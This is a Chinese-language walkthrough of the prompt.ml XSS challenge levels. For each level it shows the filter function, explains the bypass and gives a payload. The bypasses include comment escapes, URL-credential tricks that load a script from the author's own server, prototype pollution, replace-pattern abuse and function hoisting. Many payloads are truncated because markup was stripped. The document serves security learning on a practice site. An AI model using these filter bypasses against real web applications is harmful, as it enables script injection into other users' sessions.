https://prompt.ml/
function escape(input) {// warm up// script should be executed without user interactionreturn '';
}
闭合前面的双引号
">
function escape(input) {// tags stripping mechanism from ExtJS library// Ext.util.Format.stripTagsvar stripTagsRE = /<\/?[^>]+>/gi;input = input.replace(stripTagsRE, '');return '' + input + ' ';
}
过滤了<>,会把<…>变为空,所以不能有 >,而
会把之间的变为普通文字,所以要把后面的注释掉。
![]()
function escape(input) {// v-- frowny faceinput = input.replace(/[=(]/g, '');// ok seriously, disallows equal signs and open parenthesisreturn input;
}
过滤了=、(,用编码绕过。
这里的 svg
标签不能去,因为 script
内部文本遵循不转义的规则,而 svg
在 HTML 中属于外来元素,意味着规则不由 HTML
定义,而是由 svg
自己定义。也就是说 HTML 在使用前会先将 xml 实体解析再加入标签。
还有一种利用 js 的 eval 函数,绝了,这里的 `` 是模板字符串,也就是里面可以用变量和表达式,eval会自动解码执行。
或者
function escape(input) {// filter potential comment end delimitersinput = input.replace(/->/g, '_');// comment the input to avoid script executionreturn '';
}
用 --!> 闭合注释
--!>
这边学到一个姿势:
--!>
( /^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))
)
function escape(input) {// make sure the script belongs to own site// sample script: http://prompt.ml/js/test.jsif (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {var script = document.createElement('script');script.src = input;return script.outerHTML;} else {return 'Invalid resource.';}
}
浏览器支持这样的url:http://user:password@attacker.com。但是 http://user:password/@attacker.com 是不允许的,但是由于 decodeURIComponent 函数的原因,http://user:password%2f@attacker.com 用 %2f 就可以绕过了,这边要再自己的服务器上构造
。
//prompt.ml%2f@vps/1.js
function escape(input) {// apply strict filter rules of level 0// filter ">" and event handlersinput = input.replace(/>|on.+?=|focus/gi, '_');return '';
}
限定了 input 标签的类型,,换行重写类型,这是因为后面的 type 不能覆盖前面的 type。
" type="image" src=1 onerror
="prompt(1)
function escape(input) {// let's do a post redirectiontry {// pass in formURL#formDataJSON// e.g. http://httpbin.org/post#{"name":"Matt"}var segments = input.split('#');var formURL = segments[0];var formData = JSON.parse(segments[1]);var form = document.createElement('form');form.action = formURL;form.method = 'post';for (var i in formData) {var input = form.appendChild(document.createElement('input'));input.name = i;input.setAttribute('value', formData[i]);}return form.outerHTML + ' \n\
\n\';} catch (e) {return 'Invalid form data.';}
}
从上面的源码中可以看出,是构造一个类似 http://httpbin.org/post#{"name":"Matt"}
这种格式的,#
前面的是 formURL
,也就是 form
表单 action
属性的值,后面的 post
数据构造 input
标签。在传的时候可以看到,对第一个 action
属性值做了过滤,我们可以令 action
的子标签,也就是 input
下的属性名设置成 action
,这样就可以绕过了,原理就是会优先指向 name
为 action
的子标签。
题目告诉我们是以 #
划分,且每个标题长度不超过 12
。
function escape(input) {// pass in something like dog#cat#bird#mouse...var segments = input.split('#');return segments.map(function(title) {// title can only contain 12 charactersreturn '';}).join('\n');
}
payload :
">
从下图生成的标签格式可以看出(红括号内是注释掉的),最后只剩
还有一种跟巧妙的方法,我们可以通过引号之间的闭合来绕,用 onload
执行 js
语句
">
过滤了 \r \n < "
,可以 unicode
字符绕过,且 -->
在 js
中也可以当做注释使用
function escape(input) {// prevent input from getting out of comment// strip off line-breaks and stuffinput = input.replace(/[\r\n"]/g, '');return ' \n\
';
}
payload
在 console
处运行一下
会把 <
后面的字母变为 <_
,还会对代码全部转大写,前者可以用 unicode
绕过,标签大小写没事,但是里面的 js
代码是大小写敏感的,可以用远程 js
加载。
function escape(input) {// filter potential start-tagsinput = input.replace(/<([a-zA-Z])/g, '<_$1');// use all-caps for headinginput = input.toUpperCase();// sample input: you shall not pass! => YOU SHALL NOT PASS!return '' + input + '
';
}
payload:
<ſcript/ſrc="xxx/1.js">ſcript>
题目会先对输入进行 url
编码,这样我们就无法利用 unicode
绕过,但是它后面又做了一个替换把 '
替换为 空
,也就是说如果我们在 prompt
中间插上 '
,那么经过第二个替换就会变成 prompt
。
function escape(input) {// (╯°□°)╯︵ ┻━┻input = encodeURIComponent(input).replace(/prompt/g, 'alert');// ┬──┬ ノ( ゜-゜ノ) chill out broinput = input.replace(/'/g, '');// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BROreturn ' ';
}
payload:
pro'mpt(1)
过滤了很多特殊的字符。
function escape(input) {// name should not contain special charactersvar memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');// data to be parsed as JSONvar dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';// directly "parse" data in script contextreturn ' \n\
';
}
如果没有禁冒号的话,我们使可以闭合来绕过的,但是这边禁用了,这边说一下大佬的思路。
如下所示,是可以成功弹窗的,双引号里可以是任何字符,这里的 in
或者 instanceof
是运算符,且 1(prompt(1))
也是可以成功弹窗的,尽管这两个方法都会报错。
(prompt(1))instanceof"1"和 (prompt(1))in"1"
和 level A
不一样的是,这一题是先过滤了单引号,再过滤 prompt
的。
function escape(input) {// in Soviet Russia...input = encodeURIComponent(input).replace(/'/g, '');// table flips you!input = input.replace(/prompt/g, 'alert');// ノ┬─┬ノ ︵ ( \o°o)\return ' ';
}
在 php
中我们可以利用数学函数把数字转为字母执行 shell
,这题的原理差不多。
由上面两张图可以看出此方法是可行的,大佬的各种骚操作 真是令我大开眼界啊。
payload:
eval((630038579).toString(30))(1)利用 concat 连接,String.fromCharCode
eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
extend
接收的是一个对象,且里面有一个这样的语句 obj[prop] = source[prop];
这不就是很典型的原型链污染嘛,后面判断 source
有没有其他字符,有则删除 source
属性,又过滤了双引号,判断格式是否正确。
function escape(input) {// extend method from Underscore library// _.extend(destination, *sources) function extend(obj) {var source, prop;for (var i = 1, length = arguments.length; i < length; i++) {source = arguments[i];for (prop in source) {obj[prop] = source[prop];}}return obj;}// a simple picture plugintry {// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}var data = JSON.parse(input);var config = extend({// default image sourcesource: 'http://placehold.it/350x150'}, JSON.parse(input));// forbit invalid image sourceif (/[^\w:\/.]/.test(config.source)) {delete config.source;}// purify the source by stripping off "var source = config.source.replace(/"/g, '');// insert the content using mustache-ish templatereturn '
{source}}">'.replace('{{source}}', source);} catch (e) {return 'Invalid image data.';}
}
从下图可以看出当我们把 a
属性删掉的时候,它会通过__proto__
向上找 a
属性,如过上面都没有则会返回空。
思路有了,那么还有个问题怎么绕过闭合?它过滤了双引号,我们无法用双引号来绕过了。这边大佬给了一个特殊的替换方式。
通过例子来看一下:
//$$:输出一个$
'123456789'.replace('34',"$$xss");
'12$xss56789'//$&:插入到匹配到的字符串后面(不会删掉匹配到的字符)
'123456789'.replace('34',"$&xss");
'1234xss56789'//$`:复制匹配到的字符串前面的那部分,并把字符串插入(会删掉匹配到的字符)
'123456789'.replace('34',"$`xss");
'1212xss56789'//$':复制匹配到的字符串的后面的那部分,并把字符串插入(会删掉匹配到的字符)
'123456789'.replace('34',"$'xss");
'1256789xss56789'
更具上面的那个,如果我们利用
$`
那么不就可以复制 {{source}}
之前的字符串,也就是 ,双引号不就来了么。
payload:
{"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
做了一下几个处理:
1.全部转大写
2. 把 xxx:
替换为 data:
3. 把 &+\空格 vps
替换为 _
那么应该就是利用 data 来绕过,也可以看成 data 伪协议,就是不需要额外请求,直接在网页中嵌入文件。
格式如下:
data:[][;charset=][;base64],
function escape(input) {// I expect this one will have other solutions, so be creative :)// mspaint makes all file names in all-caps :(// too lazy to convert them back in lower case// sample input: prompt.jpg => PROMPT.JPGinput = input.toUpperCase();// only allows images loaded from own host or data URI schemeinput = input.replace(/\/\/|\w+:/g, 'data:');// miscellaneous filteringinput = input.replace(/[\\&+%\s]|vbs/gi, '_');return '
';
}
payload:
">
过滤了 *
function escape(input) {// sort of spoiler of level 7input = input.replace(/\*/g, '');// pass in something like dog#cat#bird#mouse...var segments = input.split('#');return segments.map(function(title, index) {// title can only contain 15 charactersreturn '';}).join('\n');
}
可以在 svg
标签中使用 html
注释 。
payload:
">
或者利用模板字符串:
模板字符串:
反引号 ` 代替引号 ’ 或 ",提供了字符串插入的功能。
${x} 是模板占位符,js 把 x 生成的值插入到最后的字符串里面。
">
过滤了 }<
,那么怎么闭合呢?
记得在 level D
里就提到过几种特殊的替换方法,那么如果我们用 $&
替换不就可以了吗,因为 $&
是不会删掉匹配到的字符串的,且 {{injection}}
中不是有个 }
,这不就闭合了吗。
function escape(input) {// WORLD -1// strip off certain characters from breaking conditional statementinput = input.replace(/[}<]/g, '');return ' \n\
\n\'.replace('{{injection}}', input);
}
那么怎么绕过 if 呢?
history.lenth 返回的是浏览历史列表中的网址数量。
首先我们要知道,不管我们怎么替换,我们替换的值是肯定在 if
表达式里面的,也就是我们要在它判断前就要做一些操作。
这边官方是根据一个叫函数提升的知识点来绕过的。
什么是函数提升?
简单点解释就是:正常情况下 JS
引擎会在正式执行之前先进行一次预编译,在这个过程中,会首先将变量声明及函数声明提升至当前作用域的顶端。
那么也就是说即使我们在 if
里面定义一个函数,这个函数不会像其他语言,一定要通过 if
判断才能初始化,js
会在编译阶段就初始化,那么也就绕过了 if
。
测试:
也就是说我们要构造:
function history(l,o,r,e,m, 1138个)$&prompt(1)
payload:
function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,p,e,s,e,t,t,i,n,g,i,n,d,u,s,t,r,y,L,o,r,e,m,I,p,s,u,m,h,a,s,b,e,e,n,t,h,e,i,n,d,u,s,t,r,y,s,s,t,a,n,d,a,r,d,d,u,m,m,y,t,e,x,t,e,v,e,r,s,i,n,c,e,t,h,e,s,w,h,e,n,a,n,u,n,k,n,o,w,n,p,r,i,n,t,e,r,t,o,o,k,a,g,a,l,l,e,y,o,f,t,y,p,e,a,n,d,s,c,r,a,m,b,l,e,d,i,t,t,o,m,a,k,e,a,t,y,p,e,s,p,e,c,i,m,e,n,b,o,o,k,I,t,h,a,s,s,u,r,v,i,v,e,d,n,o,t,o,n,l,y,f,i,v,e,c,e,n,t,u,r,i,e,s,b,u,t,a,l,s,o,t,h,e,l,e,a,p,i,n,t,o,e,l,e,c,t,r,o,n,i,c,t,y,p,e,s,e,t,t,i,n,g,r,e,m,a,i,n,i,n,g,e,s,s,e,n,t,i,a,l,l,y,u,n,c,h,a,n,g,e,d,I,t,w,a,s,p,o,p,u,l,a,r,i,s,e,d,i,n,t,h,e,s,w,i,t,h,t,h,e,r,e,l,e,a,s,e,o,f,L,e,t,r,a,s,e,t,s,h,e,e,t,s,c,o,n,t,a,i,n,i,n,g,L,o,r,e,m,I,p,s,u,m,p,a,s,s,a,g,e,s,a,n,d,m,o,r,e,r,e,c,e,n,t,l,y,w,i,t,h,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,s,o,f,t,w,a,r,e,l,i,k,e,A,l,d,u,s,P,a,g,e,M,a,k,e,r,i,n,c,l,u,d,i,n,g,v,e,r,s,i,o,n,s,o,f,L,o,r,e,m,I,p,s,u,m,I,t,i,s,a,l,o,n,g,e,s,t,a,b,l,i,s,h,e,d,f,a,c,t,t,h,a,t,a,r,e,a,d,e,r,w,i,l,l,b,e,d,i,s,t,r,a,c,t,e,d,b,y,t,h,e,r,e,a,d,a,b,l,e,c,o,n,t,e,n,t,o,f,a,p,a,g,e,w,h,e,n,l,o,o,k,i,n,g,a,t,i,t,s,l,a,y,o,u,t,T,h,e,p,o,i,n,t,o,f,u,s,i,n,g,L,o,r,e,m,I,p,s,u,m,i,s,t,h,a,t,i,t,h,a,s,a,m,o,r,e,o,r,l,e,s,s,n,o,r,m,a,l,d,i,s,t,r,i,b,u,t,i,o,n,o,f,l,e,t,t,e,r,s,a,s,o,p,p,o,s,e,d,t,o,u,s,i,n,g,C,o,n,t,e,n,t,h,e,r,e,c,o,n,t,e,n,t,h,e,r,e,m,a,k,i,n,g,i,t,l,o,o,k,l,i,k,e,r,e,a,d,a,b,l,e,E,n,g,l,i,s,h,M,a,n,y,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,p,a,c,k,a,g,e,s,a,n,d,w,e,b,p,a,g,e,e,d,i,t,o,r,s,n,o,w,u,s,e,L,o,r,e,m,I,p,s,u,m,a,s,t,h,e,i,r,d,e,f,a,u,l,t,m,o,d,e,l,t,e,x,t,a,n,d,a,s,e,a,r,c,h,f,o,r,l,o,r,e,m,i,p,s,u,m,w,i,l,l,u,n,c,o,v,e,r,m,a,n,y,w,e,b,s,i,t,e,s,s,t,i,l,l,i,n,t,h,e,i,r,i,n,f,a,n,c,y,V,a,r,i,o,u,s,v,e,r,s,i,o,n,s,h,a,v,e,e,v,o,l,v,e,d,o,v,e,r,t,h,e,y,e,a,r,s,s,o,m,e,t,i,m,e,s,b,y,a,c,c,i,d,e,n,t,s,o,m,e,t,i,m,e,s,o,n,p,u,r,p,o,s,e,i,n,j,e,c,t,e,d,h,u,m,o,u,r,a,n,d,t,h,e,l,i,k,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_)$&prompt(1)
用 @cc_on 语句、@if 或 @set 语句来激活条件编译。
条件编译解释处
function escape(input) {// Christmas special edition!// Ho ho ho these characters are in Santa's naughty listinput = input.replace(/[!=*`]/g, '');// pass in your wishes like pets#toys#half-life3...var segments = input.split('#');return segments.map(function(title, index) {// Don't be greedy! Each present can only contain 20 charactersreturn '';}).join('\n');
}
具体原理应该就是 if
判断不成功也就不往下执行,也就和注释功能相当了,和普通的 if
相比没有 {}
包围,但是我这边没有打成功,可能是这个 js
语法现在浏览器不支持识别。如果有人知道原理或者原因的话希望能告知>_<!!
payload:
">
对现在的我来说有点那啥了,吃不消
function escape(input) {// I iz fabulous cat// cat hatez dem charzvar query = input.replace(/[>]/g, '');var script = document.createElement('script');// find me on Twttrscript.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';return '' +script.outerHTML;
}
payload:
"onclick=prompt(1) id="a";callback=a.click;
说实话解释我都没看懂
function escape(input) {// You know the rules and so do Iinput = input.replace(/"/g, '');return '';
}
payload:
)},{0:prompt(1
新版本的 Chrome
已修复。
xss 博大精深啊,各种姿势层出不穷,我好捞啊!
https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml#level-15
https://blog.csdn.net/qq_35078631/article/details/77073233?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166502490216782428642807%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=166502490216782428642807&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-77073233-null-null.142^v51^pc_rank_34_2,201^v3^control&utm_term=prompt%281%29%20to%20win&spm=1018.2226.3001.4187